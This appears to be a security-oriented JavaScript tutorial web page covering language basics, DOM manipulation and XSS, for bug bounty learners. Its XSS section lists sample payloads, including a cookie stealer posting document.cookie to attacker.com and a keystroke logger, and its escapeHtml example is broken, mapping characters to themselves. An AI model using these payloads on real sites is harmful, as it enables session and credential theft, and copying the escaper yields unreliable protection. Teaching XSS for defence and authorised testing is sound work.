The complete, in-depth guide to JavaScript — from syntax basics to advanced techniques. The language of the web, and a critical tool for every bug bounty hunter and web pentester.
JavaScript is the programming language of the web. Created by Brendan Eich in 1995 at Netscape in just 10 days, it has grown to become the most widely-used programming language in the world. Every website you visit runs JavaScript in your browser — from Gmail to YouTube to Twitter.
But JavaScript isn't just for browsers anymore. With Node.js, you can run JavaScript on servers. With Electron, you can build desktop apps (VS Code, Discord). With React Native, you can build mobile apps. JS is truly everywhere.
For ethical hackers, JavaScript is essential knowledge. The majority of modern web applications rely on JS, and understanding it is critical for finding vulnerabilities like XSS, CSRF, prototype pollution, and client-side logic flaws. If you want to hack web apps, you must know JavaScript.
Whether you're doing bug bounties, web app pentesting, or building custom tooling, JavaScript is a superpower. Here's why:
Cross-Site Scripting is the #1 web vulnerability. You can't find XSS without understanding JS.
Read minified JS to find hidden APIs, keys, and business logic flaws.
Hunt for exposed endpoints, tokens, and sensitive data in JS files.
BeEF (Browser Exploitation Framework) hooks and controls browsers via JS.
Write browser extensions, userscripts, and automation tools.
Hack Node.js servers — prototype pollution, RCE, and SSRF.
// hello.js — your first JavaScript
console.log("Hello, Ethical Hacker!");
alert("Welcome to JS"); // in browser
let target = "192.168.1.1"; // modern, block-scoped
const PORT = 22; // cannot be reassigned
var oldStyle = "legacy"; // avoid — function-scoped
// Template literals (backticks)
console.log(`Scanning ${target}:${PORT}`);
const by default. Use let when you need to reassign. Never use var.
| Operator | Meaning | Example |
|---|---|---|
+ - * / | Arithmetic | 5 + 3 = 8 |
% | Modulus | 5 % 3 = 2 |
** | Exponent | 2 ** 8 = 256 |
=== | Strict equal | 5 === "5" → false |
== | Loose equal (avoid!) | 5 == "5" → true |
&& | Logical AND | true && false → false |
|| | Logical OR | true || false → true |
?? | Nullish coalescing | null ?? "default" → "default" |
?. | Optional chaining | obj?.name |
let name = "Hacker"; // String
let port = 22; // Number
let isOpen = true; // Boolean
let nothing = null; // Null
let undef; // Undefined
let big = 9007199254740991n; // BigInt
let sym = Symbol("id"); // Symbol
const ports = [21, 22, 80, 443];
ports.push(8080); // Add to end
ports.pop(); // Remove last
ports.includes(22); // true
ports.length; // 4
// Powerful array methods
const doubled = ports.map(p => p * 2);
const low = ports.filter(p => p < 1000);
const sum = ports.reduce((a, b) => a + b, 0);
const target = {
ip: "192.168.1.1",
port: 22,
os: "Linux",
scan() {
console.log(`Scanning ${this.ip}`);
}
};
target.scan();
console.log(target.ip);
// Destructuring
const { ip, port } = target;
console.log(ip, port);
// Spread operator
const updated = { ...target, port: 443 };
const port = 443;
if (port === 22) {
console.log("SSH");
} else if (port === 80) {
console.log("HTTP");
} else {
console.log("Unknown");
}
// Ternary — one-liner if/else
const status = port === 443 ? "secure" : "insecure";
// Switch
switch (port) {
case 22:
console.log("SSH");
break;
case 80:
case 443:
console.log("Web");
break;
default:
console.log("Unknown");
}
// Classic for
for (let i = 0; i < 5; i++) {
console.log(i);
}
// for...of (arrays)
for (const port of [22, 80, 443]) {
console.log(port);
}
// for...in (object keys)
for (const key in { a: 1, b: 2 }) {
console.log(key);
}
// while
let n = 0;
while (n < 5) {
console.log(n++);
}
// Function declaration
function scanPort(host, port) {
return `Scanning ${host}:${port}`;
}
// Function expression
const scanPort = function(host, port) {
return `Scanning ${host}:${port}`;
};
// Arrow function (ES6) — most common today
const scanPort = (host, port) => `Scanning ${host}:${port}`;
// Arrow with block body
const scanPort = (host, port) => {
console.log("Starting scan...");
return `${host}:${port}`;
};
function brute(target, port = 22, ...wordlist) {
console.log(`Target: ${target}, Port: ${port}`);
wordlist.forEach(w => console.log(w));
}
brute("10.0.0.1", 21, "admin", "root", "test");
function makeCounter() {
let count = 0;
return () => ++count;
}
const counter = makeCounter();
counter(); // 1
counter(); // 2
The DOM (Document Object Model) is the tree representation of an HTML page. JavaScript can read and modify it dynamically — this is how web apps work.
// Modern methods (preferred)
const el = document.querySelector("#login");
const all = document.querySelectorAll(".btn");
// Old methods
document.getElementById("login");
document.getElementsByClassName("btn");
document.getElementsByTagName("a");
const el = document.querySelector("#output");
el.textContent = "Hacked!";
el.innerHTML = "<b>Bold</b>"; // XSS risk!
el.style.color = "red";
el.classList.add("active");
el.setAttribute("data-id", "123");
const btn = document.querySelector("#hack");
btn.addEventListener("click", (e) => {
e.preventDefault();
console.log("Clicked!");
});
// Common events: click, submit, keydown, mouseover, load
// Modern HTTP request
fetch("https://api.target.com/users")
.then(res => res.json())
.then(data => console.log(data))
.catch(err => console.error(err));
// POST request
fetch("/login", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ user: "admin", pass: "test" })
});
const scan = (host) => {
return new Promise((resolve, reject) => {
setTimeout(() => {
if (host) resolve(`${host} scanned`);
else reject("No host");
}, 1000);
});
};
scan("192.168.1.1")
.then(r => console.log(r))
.catch(e => console.error(e));
async function scanAll(hosts) {
for (const host of hosts) {
try {
const result = await scan(host);
console.log(result);
} catch (err) {
console.error(err);
}
}
}
scanAll(["10.0.0.1", "10.0.0.2"]);
async/await is just syntactic sugar over Promises. It makes asynchronous code look synchronous, which is much easier to read and debug.
// Object destructuring
const { ip, port, os = "Linux" } = target;
// Array destructuring
const [first, second, ...rest] = [1, 2, 3, 4];
// Function parameter destructuring
function scan({ ip, port }) {
console.log(`${ip}:${port}`);
}
// Spread — expand
const allPorts = [...ports1, ...ports2];
const clone = { ...original };
// Rest — collect
function logAll(...args) {
args.forEach(a => console.log(a));
}
class Target {
constructor(ip, port) {
this.ip = ip;
this.port = port;
}
scan() {
console.log(`Scanning ${this.ip}:${this.port}`);
}
static create(ip) {
return new Target(ip, 22);
}
}
class WebTarget extends Target {
constructor(ip, domain) {
super(ip, 443);
this.domain = domain;
}
}
// utils.js
export const scanPort = (host, port) => { ... };
export default function main() { ... }
// app.js
import main, { scanPort } from "./utils.js";
const user = { profile: { name: "admin" } };
// Optional chaining — no error if profile is undefined
console.log(user?.profile?.name); // "admin"
console.log(user?.settings?.theme); // undefined (no crash)
// Nullish coalescing — only null/undefined trigger default
const port = user?.port ?? 22;
Cross-Site Scripting (XSS) is the #1 web vulnerability. It occurs when an attacker injects malicious JavaScript into a page that other users view. Understanding JS is essential for both finding and preventing XSS.
Payload is saved on the server (database) and served to every visitor. Most dangerous.
Payload is in the URL and reflected back in the response. Requires victim to click a link.
Payload is processed entirely in the browser via JS. No server involvement.
// Classic script injection
<script>alert(1)</script>
// Image onerror
<img src=x onerror=alert(1)>
// SVG payload
<svg onload=alert(1)>
// Cookie stealer (classic)
<script>fetch("https://attacker.com?c=" + document.cookie)</script>
// Keylogger
<script>document.onkeypress = e => fetch("/log?k=" + e.key)</script>
// ❌ DANGEROUS
el.innerHTML = userInput;
// ✅ SAFE — use textContent
el.textContent = userInput;
// ✅ Or sanitize with DOMPurify
el.innerHTML = DOMPurify.sanitize(userInput);
// ✅ Escape HTML entities
function escapeHtml(str) {
const map = { "&": "&", "<": "<", ">": ">", '"': """ };
return str.replace(/[&<>"]/g, m => map[m]);
}
Browser Exploitation Framework — hooks browsers via XSS and runs client-side attacks.
Extract endpoints and URLs from JavaScript files during recon.
Scan JS files for secrets, endpoints, and sensitive data.
Advanced XSS detection suite with fuzzing and payload generation.
Fetch JS files from a list of subdomains for analysis.
Scan for outdated JS libraries with known vulnerabilities.
Extract URLs, paths, secrets, and more from JavaScript files.
Burp Suite extension for finding DOM-based XSS and prototype pollution.
Download all .js files and grep for API keys, endpoints, and hidden paths.
Find and exploit reflected, stored, and DOM-based XSS vulnerabilities.
Bypass login screens, admin checks, and paywalls enforced only in JS.
Extract hidden API endpoints from JavaScript bundles.
Build realistic login pages with JavaScript for social engineering tests.
Write custom extensions for automating web testing workflows.
const and let — Never use var in modern code.=== over == — Strict equality avoids type coercion bugs.this..then() chains.const { ip, port } = target;.innerHTML with user input — Use textContent or DOMPurify.ESLint and Prettier in your editor. They'll catch bugs and format your code automatically, making you a faster and better developer.
Free, world-class web security training from the makers of Burp Suite.
Bug bounty platform — get paid for finding vulnerabilities legally.
Another major bug bounty platform with public programs.
Modern vulnerable web app with XSS, SQLi, and more.
Damn Vulnerable Web App — classic for learning web attacks.
Guided web exploitation rooms for beginners.
JavaScript is the language of the web — and by extension, the language of web security. If you want to be a serious bug bounty hunter, web pentester, or security researcher, you must understand JavaScript deeply.
From finding XSS to reverse-engineering minified bundles, from writing browser extensions to exploiting client-side logic flaws — JavaScript is your gateway to the modern attack surface.
The journey follows a clear path:
Happy hacking — ethically. 🟨